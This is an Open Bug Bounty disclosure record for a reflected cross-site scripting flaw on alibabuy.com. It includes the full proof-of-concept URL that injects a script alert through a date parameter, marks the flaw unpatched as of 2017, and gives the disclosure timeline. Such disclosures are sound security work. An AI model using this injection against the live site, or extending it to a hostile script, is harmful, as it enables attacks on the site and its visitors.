alibabuy.com XSS vulnerability

2016-09-15T12:46:00
ID OBB:181775
Type openbugbounty
Reporter Birdy42
Modified 2016-09-22T13:12:00

Description

Vulnerable URL:
http://www.alibabuy.com/recherche-voiture.html?m4_id_dest=10185&m4;_type_dest=4&ss;=1&m4;_dest=Paris,+France&m4;_date1=22/09/2016%27;alert(%22OPENBUGBOUNTY%22);%27&m4;_heure1=10&m4;_date2=29/09/2016&m4;_heure2=10
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 27.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 92327
VIP website status:| No
Check alibabuy.com SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 15 September, 2016 12:46 GMT
Generic security notifications sent to website owner| 15 September, 2016 12:49 GMT
Notification sent to subscribers (without technical details)| 15 September, 2016 14:17 GMT
Vulnerability details disclosed by researcher| 22 September, 2016 13:12 GMT